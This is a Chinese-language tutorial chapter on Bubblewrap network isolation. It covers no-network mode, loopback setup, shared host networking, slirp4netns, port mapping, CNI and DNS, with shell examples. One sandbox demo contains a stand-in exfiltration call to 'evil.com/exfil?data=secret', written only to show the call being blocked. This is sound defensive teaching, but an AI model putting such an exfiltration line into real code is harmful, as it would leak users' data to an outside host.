强曰为道

与天地相似,故不违。知周乎万物,而道济天下,故不过。旁行而不流,乐天知命,故不忧.
文档目录

第 6 章 - 网络隔离

第 6 章:网络隔离

本章详细讲解 Bubblewrap 中的网络隔离技术,包括无网络模式、回环接口配置、与宿主网络共享、以及高级场景下的自定义网络和端口映射配置。


6.1 Linux 网络命名空间回顾

Network Namespace 为进程提供独立的网络栈,包括:

每个 Network Namespace 拥有独立的:
├── 网络接口(eth0, lo, veth, ...)
├── IP 地址
├── 路由表
├── iptables / nftables 规则
├── /proc/net 和 /sys/class/net
├── 端口号空间
├── Unix domain sockets(部分隔离)
└── 网络设备

6.2 无网络模式

最安全的网络隔离方式是完全禁止网络访问。

基本用法

# 创建完全无网络的沙箱
bwrap \
  --ro-bind / / \
  --unshare-net \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  bash

# 在沙箱内查看网络接口
ip link show
# 1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN
#     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

# 尝试网络连接——失败
ping -c 1 -W 2 8.8.8.8 2>&1
# connect: Network is unreachable

curl --max-time 3 https://example.com 2>&1
# curl: (6) Could not resolve host: example.com

验证网络隔离

# 从宿主和沙箱分别查看网络,对比差异
# 宿主
ip addr show | grep "inet "
#     inet 127.0.0.1/8 scope host lo
#     inet 192.168.1.100/24 brd 192.168.1.255 scope global eth0

# 沙箱
bwrap --ro-bind / / --unshare-net --dev /dev --proc /proc \
  bash -c 'ip addr show | grep "inet "'
# (无输出,没有 IP 地址)

适用场景

场景说明
代码编译编译过程不需要网络
文档编辑编辑器不需要网络
本地计算纯计算任务
安全测试防止数据外泄
不可信脚本执行防止网络恶意行为

6.3 启用回环接口

某些程序需要 localhost 连接(如数据库客户端连接本地服务器)。

配置回环接口

# 创建网络命名空间并手动启用 lo
bwrap \
  --ro-bind / / \
  --unshare-net \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  bash -c '
    # 启用回环接口
    ip link set lo up
    ip addr add 127.0.0.1/8 dev lo

    # 验证
    ip addr show lo
    # 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    #     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    #     inet 127.0.0.1/8 scope host lo

    # 测试 localhost 连接
    ping -c 1 127.0.0.1
    # PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
    # 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.018 ms
  '

实际应用:本地数据库测试

# 在沙箱内运行 PostgreSQL 并连接
bwrap \
  --ro-bind / / \
  --unshare-net \
  --unshare-pid \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  --bind /var/lib/postgresql /var/lib/postgresql \
  bash -c '
    ip link set lo up
    ip addr add 127.0.0.1/8 dev lo

    # 启动 PostgreSQL(简化示例)
    pg_ctl -D /tmp/pgdata start 2>/dev/null

    # 连接到 localhost
    psql -h 127.0.0.1 -U postgres -c "SELECT 1" 2>/dev/null || \
      echo "PostgreSQL not installed or not configured"
  '

6.4 共享宿主网络

某些场景需要沙箱进程访问网络(如浏览器、下载工具)。

基本用法

# 不使用 --unshare-net,沙箱共享宿主的网络栈
bwrap \
  --ro-bind / / \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  bash -c '
    # 可以看到宿主的网络接口
    ip addr show | grep "inet "
    #     inet 127.0.0.1/8 scope host lo
    #     inet 192.168.1.100/24 ...

    # 可以访问网络
    curl -s --max-time 5 https://example.com | head -3
    # <!doctype html>
    # <html>
    # <head>
  '

安全考量

共享宿主网络意味着:

风险说明缓解措施
网络扫描沙箱可以扫描内网使用 seccomp 限制 socket 系统调用
数据外泄沙箱可以通过网络发送数据使用无网络模式
端口绑定沙箱可以监听端口使用能力限制(drop CAP_NET_BIND_SERVICE
DNS 泄露沙箱可以进行 DNS 查询不使用 –unshare-net 时无法阻止

6.5 网络隔离模式对比

模式参数网络访问用途
完全隔离--unshare-net❌ 无离线计算、安全执行
仅回环--unshare-net + ip 命令🔒 仅 localhost本地服务测试
共享宿主(不使用 –unshare-net)✅ 完全浏览器、下载工具
共享 + 限制共享 + seccomp⚠️ 受限需要部分网络的应用

6.6 高级:手动创建 veth pair

通过 veth pair 可以在沙箱和宿主之间建立网络通道。这需要 root 权限或额外工具。

原理

宿主系统                              沙箱
┌──────────────────────┐             ┌──────────────────────┐
│                      │             │                      │
│  veth-host           │ ←─────────→ │  veth-sandbox        │
│  10.0.0.1/24         │   veth pair │  10.0.0.2/24         │
│                      │             │                      │
│  iptables NAT        │             │  route: default via  │
│  IP forwarding       │             │  10.0.0.1            │
│                      │             │                      │
└──────────────────────┘             └──────────────────────┘

脚本实现

#!/bin/bash
# sandbox-with-net.sh - 带自定义网络的沙箱

set -e

VETH_HOST="veth-h$$"
VETH_SANDBOX="veth-s$$"
SUBNET="10.0.$$"

# 注意:创建 veth pair 和配置网络命名空间需要 root 权限
# 或者通过 slirp4netns 等工具实现非特权网络

# 获取 bwrap 创建的网络命名空间需要一些技巧
# 以下为概念演示,实际使用建议配合 slirp4netns

echo "注意:完整的网络配置需要 root 权限或 slirp4netns"
echo "详见 6.7 节"

6.7 使用 slirp4netns 实现非特权网络

slirp4netns 是一个用户态网络栈实现,允许非特权进程在 user namespace 内获得网络访问。

安装 slirp4netns

# Fedora
sudo dnf install slirp4netns

# Debian / Ubuntu
sudo apt install slirp4netns

# Arch Linux
sudo pacman -S slirp4netns

基本用法

#!/bin/bash
# bwrap-with-net.sh - 使用 slirp4netns 的网络沙箱

# 1. 创建命名空间并获取 PID
bwrap \
  --ro-bind / / \
  --unshare-net \
  --unshare-pid \
  --fork \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  bash -c '
    echo "Sandbox PID (from outside): $$"
    sleep infinity
  ' &
BWRAP_PID=$!

# 等待 bwrap 启动
sleep 1

# 2. 使用 slirp4netns 为沙箱提供网络
slirp4netns --configure --mtu=65520 $BWRAP_PID tap0 &
SLIRP_PID=$!

echo "bwrap PID: $BWRAP_PID"
echo "slirp4netns PID: $SLIRP_PID"

# 清理
wait $BWRAP_PID 2>/dev/null
kill $SLIRP_PID 2>/dev/null

slirp4netns 的特点

特性说明
无需 root完全在用户态运行
性能较低(用户态网络栈),约 100-300 Mbps
NAT自动进行 NAT,沙箱可通过宿主访问外网
端口转发支持端口映射到沙箱
IPv4/IPv6支持 IPv4,IPv6 支持有限

6.8 端口映射

使用 slirp4netns 的端口转发

#!/bin/bash
# 将宿主的 8080 端口映射到沙箱的 80 端口

# 启动沙箱
bwrap \
  --ro-bind / / \
  --unshare-net \
  --unshare-pid \
  --fork \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  bash -c '
    # 设置回环接口
    ip link set lo up

    # 启动一个简单的 HTTP 服务
    python3 -m http.server 80 --directory /tmp 2>/dev/null &
    sleep infinity
  ' &
BWRAP_PID=$!

sleep 1

# 使用 slirp4netns 转发端口
slirp4netns \
  --configure \
  --mtu=65520 \
  --enable-sandbox \
  -e 8080:80 \
  $BWRAP_PID tap0 &

echo "沙箱 HTTP 服务可通过 http://localhost:8080 访问"
echo "按 Ctrl+C 停止"
wait

端口映射对照

宿主端口     →     沙箱端口
8080         →     80     (HTTP)
8443         →     443    (HTTPS)
3306         →     3306   (MySQL)
5432         →     5432   (PostgreSQL)

6.9 与 CNI 集成

CNI(Container Network Interface)是容器网络的标准接口。虽然 Bubblewrap 本身不直接集成 CNI,但可以通过工具链实现。

原理

Bubblewrap 创建 Network Namespace
        ↓
CNI 插件配置网络(bridge, vlan, macvlan, ...)
        ↓
沙箱进程获得自定义网络配置

使用 cni-plugins

# 安装 CNI 插件
# Fedora
sudo dnf install containernetworking-plugins

# Debian / Ubuntu
sudo apt install containernetworking-plugins

# 查看可用的 CNI 插件
ls /opt/cni/bin/ 2>/dev/null || ls /usr/libexec/cni/ 2>/dev/null
# bridge  dhcp  flannel  host-device  host-local
# loopback  macvlan  portmap  ptp  tuning  vlan

手动集成示例

#!/bin/bash
# cni-bwrap.sh - 使用 CNI 为 bwrap 沙箱配置网络
# 注意:需要 root 权限

set -e

NETNS_NAME="bwrap-$$"
CNI_CONF_DIR="/etc/cni/net.d"

# 1. 创建网络命名空间
ip netns add "$NETNS_NAME"

# 2. 创建 CNI 配置
cat > "/tmp/cni-$$.conf" << 'EOF'
{
    "cniVersion": "0.4.0",
    "name": "bwrap-net",
    "type": "bridge",
    "bridge": "cni-bwrap0",
    "isGateway": true,
    "ipMasq": true,
    "ipam": {
        "type": "host-local",
        "subnet": "10.88.0.0/16",
        "routes": [
            { "dst": "0.0.0.0/0" }
        ]
    }
}
EOF

# 3. 使用 CNI 插件配置网络(需要 root)
# CNI_COMMAND=ADD CNI_CONTAINERID=$$ CNI_NETNS=/run/netns/$NETNS_NAME \
#   CNI_IFNAME=eth0 CNI_PATH=/opt/cni/bin \
#   /opt/cni/bin/bridge < "/tmp/cni-$$.conf"

echo "CNI 集成需要 root 权限和额外配置"
echo "建议使用 Podman 或 Flatpak 替代方案"

# 清理
ip netns del "$NETNS_NAME" 2>/dev/null
rm -f "/tmp/cni-$$.conf"

6.10 实用网络沙箱示例

示例 1:离线代码执行

# 离线执行不可信的 Python 代码
bwrap \
  --ro-bind / / \
  --unshare-net \
  --unshare-pid \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  --die-with-parent \
  python3 -c '
import sys
# 即使代码尝试网络操作也会失败
try:
    import urllib.request
    urllib.request.urlopen("https://evil.com/exfil?data=secret")
except Exception as e:
    print(f"Network blocked: {e}")

print("Computation result:", sum(range(1000)))
'

示例 2:浏览器沙箱(共享网络)

# 浏览器需要网络但要限制文件系统访问
bwrap \
  --ro-bind / / \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  --tmpfs /home/user/.mozilla \
  --bind ~/.mozilla/firefox/profiles/default /home/user/.mozilla/default \
  --tmpfs /home/user/Downloads \
  --unshare-pid \
  firefox

示例 3:网络调试工具

# 在隔离文件系统但共享网络的环境中运行网络工具
bwrap \
  --ro-bind / / \
  --tmpfs /tmp \
  --dev /dev \
  --proc /proc \
  bash -c '
    echo "=== 网络调试工具沙箱 ==="
    echo ""

    # 连通性测试
    echo "1. 连通性测试:"
    ping -c 2 -W 3 8.8.8.8 && echo "   ✅ Internet OK" || echo "   ❌ No Internet"

    # DNS 测试
    echo ""
    echo "2. DNS 测试:"
    nslookup example.com 2>/dev/null && echo "   ✅ DNS OK" || echo "   ❌ DNS failed"

    # HTTP 测试
    echo ""
    echo "3. HTTP 测试:"
    curl -s -o /dev/null -w "%{http_code}" --max-time 5 https://example.com
    echo ""
  '

6.11 DNS 隔离

DNS 配置通常通过 /etc/resolv.conf 控制。

# 使用自定义 DNS 配置
cat > /tmp/resolv-sandbox.conf << 'EOF'
# 仅允许本地 DNS
nameserver 127.0.0.1
options timeout:1 attempts:1
EOF

bwrap \
  --ro-bind / / \
  --ro-bind /tmp/resolv-sandbox.conf /etc/resolv.conf \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  bash -c '
    cat /etc/resolv.conf
    # nameserver 127.0.0.1
    # options timeout:1 attempts:1

    # DNS 解析将尝试连接 127.0.0.1
    # 如果没有本地 DNS 服务器,解析将失败
    nslookup example.com 2>&1 || echo "DNS resolution failed (expected)"
  '

6.12 网络隔离安全性总结

隔离级别配置安全性功能性
无隔离不使用 --unshare-net⭐⭐⭐⭐⭐
完全隔离--unshare-net⭐⭐⭐⭐⭐
仅回环--unshare-net + lo⭐⭐⭐⭐⭐⭐
slirp4netns--unshare-net + slirp4netns⭐⭐⭐⭐⭐⭐⭐
CNI 自定义--unshare-net + CNI⭐⭐⭐⭐⭐⭐⭐⭐

6.13 注意事项

⚠️ 重要提醒

  1. --unshare-net 需要 user namespace:在没有 user namespace 支持的系统上,创建网络命名空间可能需要 root 权限。

  2. 共享网络的风险:不使用 --unshare-net 时,沙箱进程可以访问宿主的整个网络栈,包括内网服务。

  3. Unix socket 不受网络命名空间限制:通过 Unix domain socket 的 D-Bus 等 IPC 机制需要额外处理。

  4. slirp4netns 性能限制:用户态网络栈的吞吐量有限,不适合高带宽场景。

  5. DNS 泄露:即使使用网络命名空间,如果允许网络访问,DNS 查询仍然可能泄露访问的域名。

  6. IPv6 注意事项:slirp4netns 的 IPv6 支持有限,可能需要额外配置。


6.14 扩展阅读


上一章:第 5 章 - 文件系统隔离 | 下一章:第 7 章 - 安全策略